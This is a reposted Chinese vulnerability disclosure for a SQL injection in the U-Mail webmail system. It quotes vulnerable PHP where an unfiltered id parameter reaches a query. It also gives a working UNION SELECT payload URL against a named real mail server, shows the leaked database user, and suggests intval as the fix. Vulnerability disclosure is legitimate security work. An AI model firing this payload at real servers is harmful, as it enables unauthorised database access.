网站地图    收藏   

主页 > 后端 > 网站安全 >

U-Mail邮件服务系统最新版SQL注入漏洞 - 网站安全

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 漏洞文件:client option module views phpif ( ACTION == letterpaper ){$lp_id = gss( $_GET[ 39;id 39;] );if ( $lp_id ){if ( $lp_id == add ){$lp_info[ 39;letterpaper 39;] =...

漏洞文件:client\option\module\views.php



 

if ( ACTION == "letterpaper" )
{
$lp_id = gss( $_GET['id'] );
if ( $lp_id )
{
if ( $lp_id == "add" )
{
$lp_info['letterpaper'] = "<div id=\"lp_wrap\" style=\"background-color:#fff;color:#000;font-size:12px;padding:20px 30px;\"><div id=\"lp_wrap_content\"></div></div>";
}
else
{
$lp_info = $Widget->getone_letterpaper( "id=".$lp_id, "*", 0 );
}
}
else
{
$lp_list = $Widget->get_letterpaper( array(
"fields" => "*",
"where" => "UserID=0 or UserID=".$user_id,
"orderby" => "UserID",
"debug" => 0
) );
}
include( load_tpl( "op_letterpaper" ) );
}





未过滤直接进入查询

$lp_info = $Widget->getone_letterpaper( "id=".$lp_id, "*", 0 );








 

http://mail.comingchina.com/webmail/client/option/index.php?module=view&action=letterpaper&id=1%20and%201=2%20union%20select%201,2,3,user(),5,6,7,8




 

<div class="hasselect" style="display:none;" id="hasPic">
<span>背景图片:</span>
<div class="bgtypecontrol">
<img id="littleimg" src="umail@localhost">

1.jpg




 

sql.jpg

 

修复方案:

intval

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论